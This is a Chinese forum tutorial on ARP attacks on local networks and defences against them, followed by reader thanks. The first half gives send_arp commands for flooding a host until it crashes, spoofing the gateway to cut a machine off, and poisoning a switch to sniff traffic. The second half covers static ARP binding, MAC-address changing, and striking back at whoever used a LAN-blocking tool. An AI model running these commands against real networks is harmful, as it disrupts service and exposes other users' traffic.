局域网攻击原理与防御

龌龊年华

网上关于ARP的资料已经很多了，就不用我都说了。 \r\n用某一位高手的话来说，“我们能做的事情很多，唯一受 \r\n限制的是我们的创造力和想象力”。 \r\nARP也是如此。 \r\n以下讨论的机子有: \r\n\r\n一个要攻击的机子：10.5.4.178 \r\n硬件地址：52:54:4C:98:EE:2F \r\n我的机子： :10.5.3.69 \r\n硬件地址：52:54:4C:98:ED:C5 \r\n网关： 10.5.0.3 \r\n硬件地址：00:90:26:3D:0C:F3 \r\n一台交换机另一端口的机子：10.5.3.3 \r\n硬件地址：52:54:4C:98:ED:F7 \r\n一:   用ARP破WINDOWS的屏保 \r\n原理：利用IP冲突的级别比屏保高，当有冲突时，就会 \r\n跳出屏保。 \r\n关键:     ARP包的数量适当。 \r\n[root@sztcww tools]# ./send_arp 10.5.4.178 00:90:26:3D:0C:F3 / \r\n10.5.4.178 52:54:4C:98:EE:2F 40 \r\n\r\n二：用ARP导致IP冲突，死机 \r\n原理：WINDOWS 9X，NT4在处理IP冲突时，处理不过来，导致死机。 \r\n注： 对WINDOWS 2K，LINUX相当于flooding,只是比一般的FLOODING \r\n有效的多.对LINUX，明显系统被拖慢。 \r\n[root@sztcww tools]# ./send_arp 10.5.4.178 00:90:26:3D:0C:F3 / \r\n10.5.4.178 52:54:4C:98:EE:2F 999999999 \r\n\r\n三：用ARP欺骗网关，可导致局域网的某台机子出不了网关。 \r\n原理:             用ARP应答包去刷新对应着要使之出不去的机子。 \r\n[root@sztcww tools]# ./send_arp 10.5.4.178 52:54:4C:98:EE:22 / \r\n10.5.4.178 00:90:26:3D:0C:F3 1 \r\n注意：如果单单如上的命令，大概只能有效几秒钟，网关机子里的ARP \r\n高速缓存会被被攻击的机子正确刷新，于是只要... \r\n\r\n四：用ARP欺骗交换机，可监听到交换机另一端的机子。 \r\n可能需要修改一下send_arp.C , 构造如下的数据包。 \r\nethhdr \r\nsrchw:52:54:4C:98:ED:F7--->dsthw:FF:FF:FF:FF:FF:FF proto:806H \r\narphdr \r\nhwtype:1 protol:800H hw_size:6 pro_size:4 op:1 \r\ns_ha:52:54:4C:98:ED:F7 s_ip:10.5.3.3 \r\nd_ha:00:00:00:00:00:00 d_ip:10.5.3.3 \r\n然后就可以sniffer了。 \r\n原理: \r\n交换机是具有记忆MAC地址功能的 , 它维护一张MAC地址和它的口号表 \r\n所以你可以先来个ARP 欺骗, 然后就可以监听了 \r\n不过需要指出 , 欺骗以后, 同一个MAC地址就有两个端口号 \r\nyuange说，“这样其实就是一个竞争问题。” \r\n好象ARP 以后, 对整个网络会有点影响, 不过我不敢确定 \r\n既然是竞争 , 所以监听也只能监听一部分, 不象同一HUB下的监听。 \r\n对被监听者会有影响，因为他掉了一部分数据。 \r\n当然还有其他一些应用，需要其他技术的配合。 \r\n\r\n解决方法: \r\n方法一: \r\n网段A(192.168.0.x) 通过------> 网关服务器（192.168.0.1；192.168.10.1） -----〉 \r\n和网段B（192.168.10.x)通信。 \r\n假设架设 CS服务器在 网段B 192.168.10.88 机器上， \r\n现在 在 网关服务器上架着一个端口转发程序（有很多的自己找） \r\n比如定义 网关服务器的27015端口 转发 指定 192.168.0.10.88 的27015端口 \r\n现在在网段A(192.168.0.x) 的玩家只要的 互联网游戏地址处加入 192.168.0.1:27015 就可以找到 \r\n192.168.10.88 的CS服务器了 \r\n个人认为比较好的 办法是 把网段分开 ， 在网关服务器上做端口转发服务 \r\n来达到 共享CS服务器等 功能，就可以解决了~ \r\n方法二: \r\n捆绑MAC和IP地址 杜绝IP地址盗用现象 \r\n到代理服务器端让网络管理员把您上网的静态IP地址与所记录计算机的网卡地址进行捆绑。具体命令是: \r\n　　ARP -s 192.168.0.4 00-EO-4C-6C-08-75 \r\n　　这样，就将您上网的静态IP地址192.168.0.4与网卡地址为00-EO-4C-6C-08-75的计算机绑定在一起了，即使别人盗用您的IP地址192.168.0.4也无法通过代理服务器上网。其中应注意的是此项命令仅在局域网中上网的代理服务器端有用，还要是静态IP地址，像一般的Modem拨号上网是动态IP地址就不起作用。接下来我们对各参数的功能作一些简单的介绍： \r\n\r\n    ARP? -s?? - d?? - a? \r\n　　-s——将相应的IP地址与物理地址的捆绑。 \r\n　　-d——删除所给出的IP地址与物理地址的捆绑。 \r\n　　-a——通过查询Arp协议表来显示IP地址和对应物理地址情况。 \r\n方法三: \r\n网络执法官这个软件相信大家都听说过了。功能不错，可以禁止局域网任意机器连接网络。这个功能对网管来说的确不错。不过如果这个软件落到那些卑鄙小人的手里---那后果就不堪设想了。轻则把你封了上不了网，重则可以导致整个局域网瘫痪。。 \r\n\r\n废话不说了，切入正题吧。现在教大家两招轻松防范网络执法官！！ \r\nNO 0.1 \r\n首先呢，最稳妥的一个办法就是修改机器的MAC地址，只要把MAC地址改为别的，就可以欺骗过网络执法官，从而达到突破封锁的目的。下面是修改MAC地址的方法： \r\n\r\nlinux环境下: \r\n需要用 \r\n#ifconfig eth0 down \r\n先把网卡禁用 \r\n再用ifconfig eth0 hw ether 1234567890ab \r\n这样就可以改成功了 \r\n要想永久改就这样 \r\n在/etc/rc.d/rc.local里加上这三句(也可以在/etc/init.d/network里加下面三行) \r\nifconfig eth0 down \r\nifconfig eth0 hw ether 1234567890ab \r\nifconfig eth0 up \r\n另: \r\n在win2000中改MAC地址的方法: \r\n打开注册表编辑器，找到HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Control/Class/{4D36E972-E325-11CE-BFC1-08002BE10318}子键，在该子键下的0000，0001，0002等分支中查找DriverDesc，在0000子键下天一个字符串项，命名为NetworkAddress，键值设为修改后的MAC地址，要求为连续的12个16进制数，如1234567890AB(注意位数要对！不能是000000000000，不能与别的机器重复)。然后在0000下的NDI/params中加一项名为NetworkAddress的子键，在该子键下添加名为defau \r\n\r\nlt的字符串，键值为修改后的MAC地址，与上面的数值相同。在NetworkAddress的主键下继续添加命名为ParamDesc的字符串，其作用是制定NetworkAddress主键的描述，其值可为“MAC \r\n地址”，这样以后打开网络属性，双击相应的网卡会发现有一个高级设置，其下坐在“MAC地址”的选项，在此修改MAC地址就可以了，修改后需重启。 \r\n\r\nWindows环境: \r\n用dos，8139的可以改，用realtek的pg8139.exe,比如 \r\n是8139c网卡，就改写8139c.cfg文件，第一行就是网卡mac,想怎么改就怎么改 \r\nNO 0.2 \r\n另外一种方法，我没有试，一种设想，有条件的朋友帮忙试一下。 \r\n由于网络执法官的原理是通过ARP欺骗发给被攻击的电脑一个假的网关IP地址对应的MAC，使其找不到网关真正的MAC，那么我们可以自己修改IP->MAC的映射，使网络执法官ARP欺骗失效。具体做法如下： \r\n\r\n在还没有被封锁的时候进入CMD执行如下命令 \r\ne:/>ping 192.168.9.1 (假设此地址位网关。) \r\nPinging 192.168.9.1 with 32 bytes of data: \r\nReply from 192.168.9.1: bytes=32 time<10ms TTL=64 \r\nReply from 192.168.9.1: bytes=32 time<10ms TTL=64 \r\nReply from 192.168.9.1: bytes=32 time<10ms TTL=64 \r\nReply from 192.168.9.1: bytes=32 time<10ms TTL=64 \r\nPing statistics for 192.168.9.1: \r\nPackets: Sent = 4, Received = 4, Lost = 0 (0% loss), \r\nApproximate round trip times in milli-seconds: \r\nMinimum = 0ms, Maximum = 0ms, Average = 0ms \r\ne:/>arp -a \r\nInterface: 192.168.9.1 on Interface 0x5000003 \r\nInternet Address Physical Address Type \r\n192.168.9.1 00-0E-70-32-f1-02 dynamic \r\n(上面的就是网关的MAC) \r\n然后作这样一个批处理文件保存起来。。注意！！！地址要换为你自己的网关的IP和MAC \r\narp -s 192.168.9.1 00-0E-70-32-f1-02 \r\n然后呢，在你被封锁的时候，就执行这个批处理吧。 \r\nNO 0.3 \r\n如果解除了网络执法官的封锁可不可以查到使用网络执法官的人究竟是谁呢?答案是可以！(感谢zva提供方法)利用arpkiller的sniffer杀手扫描整个局域网IP段查找处在“混杂”(监听)模式下的计算机，应该就是他了！！！(注意，扫描的时候自己也处在混杂模式，自己不能算哦) \r\n\r\n之后做什么呢？就不用我说了吧？哈哈，以毒攻毒，用网络执法官把她封了！ \r\n防止这种攻击最好的办法就是MAC地址和IP地址绑定，也可以防止用黑白名单时盗用白名单的IP，对于一些单位的网络控制也有点用处。 不会查MAC地址的初学者用 ipconfig/all 就可以显示了

shengbaojun

感谢楼主分享,学习了！

qhjtf

写的很透彻！赞一个！向楼主学习！

paul39

学习到了！